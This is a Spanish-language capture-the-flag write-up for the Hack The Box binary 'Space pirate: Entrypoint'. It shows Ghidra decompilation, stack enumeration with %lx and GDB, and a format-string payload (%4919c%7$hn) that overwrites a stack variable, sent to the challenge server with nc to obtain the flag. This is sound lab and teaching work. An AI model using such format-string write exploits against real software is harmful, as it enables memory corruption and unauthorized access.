Space pirate: Entrypoint
6 minutos de lectura
Se nos proporciona un binario de 64 bits llamado sp_entrypoint
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Podemos ejecutarlo para ver lo que hay, dos opciones:
$ ./sp_entrypoint
Authentication System
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░▒▓▓▓░░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓▒░▓▓▓▓▓ ░ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓▒░░▓▓▓░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒░▓▓░░░▓▓▓░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒▒▒▒▓▓░░░▓▓▒░░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒▒░░░▓▓░░░▓▓▒░ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▒░░░▒▓▓░░░▓▓▒ ░▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░░░░░▓▓░░░▓▓▓ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒░▓▓▓▒░░░░▓▓▒ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒▓▓▓░▒░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓░▒▓▓▓░░░░░▓▓░ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▒░▓▓▓░░░░ ▓▓ ▓▓▒ ▓▓▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
1. Scan card 💳
2. Insert password
>
Si descompilamos el binario con Ghidra, veremos la función main
:
undefined8 main() {
long lVar1;
long in_FS_OFFSET;
long local_48;
long *local_40;
char local_38[40];
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
setup();
banner();
local_48 = 0xdeadbeef;
local_40 = &local_48;
printf(&DAT_001025e0);
lVar1 = read_num();
if (lVar1 != 1) {
if (lVar1 == 2) {
check_pass();
}
printf(&DAT_00102668, &DAT_0010259a);
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
printf("\n[!] Scanning card.. Something is wrong!\n\nInsert card\'s serial number: ");
read(0,local_38, 0x1f);
printf("\nYour card is: ");
printf(local_38);
if (local_48 == 0xdead1337) {
open_door();
} else {
printf(&DAT_001026a0, &DAT_0010259a);
}
if (local_10 == *(long *) (in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
La segunda opción solicita una contraseña:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 2
[*] Insert password: asdf
[-] Invalid password! Intruder detected! 🚨 🚨
La función que se encarga de la autenticación es check_pass
:
void check_pass() {
int iVar1;
long in_FS_OFFSET;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
local_28 = 0;
local_20 = 0;
printf("[*] Insert password: ");
read(0, &local_28, 0xf);
iVar1 = strncmp("0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455", (char *) &local_28, 0x21);
if (iVar1 != 0) {
printf(&DAT_001025a8, &DAT_0010259a);
/* WARNING: Subroutine does not return */
exit(0x1b39);
}
open_door();
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Como se muestra, el programa lee 0xf
(15) bytes y los compara con 0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455
. Sin embargo, no somos capaces de introducir más de 15 bytes, por lo que no hay manera de pasar la comparación.
Si fuéramos capaces de pasarla, entonces el programa llamaría a la función open_door
, y se mostraría la flag:
void open_door() {
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *) (in_FS_OFFSET + 0x28);
printf("\n%s[+] Door opened, you can proceed with the passphrase: ", &DAT_00100eb8);
system("cat flag*");
if (lVar1 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Si vamos de nuevo al main
, vemos que tenemos otra posibilidad si elegimos la primera opción:
printf("\n[!] Scanning card.. Something is wrong!\n\nInsert card\'s serial number: ");
read(0,local_38, 0x1f);
printf("\nYour card is: ");
printf(local_38);
if (local_48 == 0xdead1337) {
open_door();
} else {
printf(&DAT_001026a0, &DAT_0010259a);
}
Aquí hay una vulnerabilidad de Format String, ya que printf
utiliza como primer argumento la misma información que ponemos como “card’s serial number”. Una prueba de concepto:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %x
Your card is: eb7a7420
[-] Invalid password! Intruder detected! 🚨 🚨
El valor eb7a7420
es un valor tomado de la pila (stack), por lo que podemos potencialmente leer y escribir en la pila con la vulnerabilidad de Format String.
Aquí, si local_48
tiene un valor de 0xdead1337
, entonces se llamaría a open_door
. Desafortunadamente, local_48
está puesto como 0xdeadbeef
, por lo que es diferente.
Pero podemos usar la vulnerabilidad de Format String para modificar el valor de la variable local. Vamos a encontrar el offset en la pila donde se guarda local_48
:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
Your card is: 7ffed66b4cf0.7f61975088c0.0.f.0.deadbeef.7ffed66b7390.2e786c252e786c25
[-] Invalid password! Intruder detected! 🚨 🚨
Parece que está en la posición 6. Vamos a comprobarlo con %6$lx
:
$ ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %6$lx
Your card is: deadbeef
[-] Invalid password! Intruder detected! 🚨 🚨
Perfecto. Ahora tenemos que usar el formato %n
(por ejemplo, %6$n
) para escribir datos en memoria. La manera en la que %6$n
funciona es que guarda el número de caracteres impresos hasta %6$n
en la dirección de la sexta posición de la pila.
Por esta razón, no podemos usar %6$n
, ya que 0xdeadbeef
no es una dirección válida. Tenemos que encontrar la dirección que contiene 0xdeafbeef
. Vamos a usar GDB para encontrarla:
$ gdb -q sp_entrypoint
Reading symbols from sp_entrypoint...
(No debugging symbols found in sp_entrypoint)
gef➤ run
Starting program: ./sp_entrypoint
...
1. Scan card 💳
2. Insert password
> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7af2031 in read () from ./glibc/libc.so.6
gef➤ grep 0xdeadbeef
[+] Searching '\xef\xbe\xad\xde' in memory
[+] In './sp_entrypoint'(0x555555400000-0x555555403000), permission=r-x
0x555555400d18 - 0x555555400d28 → "\xef\xbe\xad\xde[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe650 - 0x7fffffffe660 → "\xef\xbe\xad\xde[...]"
Parece que local_48
está en la dirección 0x7fffffffe650
. Ahora vamos a enumerar la vulnerabilidad de Format String otra vez:
gef➤ continue
Continuing.
1
[!] Scanning card.. Something is wrong!
Insert card's serial number%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.%lx.
Your card is: 7fffffffbfb0.7ffff7dcf8c0.0.f.0.deadbeef.7fffffffe650.2e786c252e786c25
[-] Invalid password! Intruder detected! 🚨 🚨
[Inferior 1 (process 76812) exited normally]
Vale, necesitamos escribir en la posición 7, por lo que usaremos %7$n
.
De hecho, podemos usar %7$hn
para sobrescribir media palabra (2 bytes), porque es lo que necesitamos en esta situación. Para imprimir 0x1337
(4919) bytes, podemos usar otra format string, que es %4919c
. Vamos a probar:
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %4919c%7$hn
Your card is:
[+] Door opened, you can proceed with the passphrase: HTB{f4k3_fl4g_f0r_t3st1ng}
Lo tenemos. Vamos entonces a explotar la instancia remota:
$ nc 178.62.26.185 31995
...
1. Scan card 💳
2. Insert password
> 1
[!] Scanning card.. Something is wrong!
Insert card's serial number: %4919c%7$hn
Your card is:
[+] Door opened, you can proceed with the passphrase: HTB{g4t3_0n3_d4rkn3e55_th3_w0rld_0f_p1r4t35}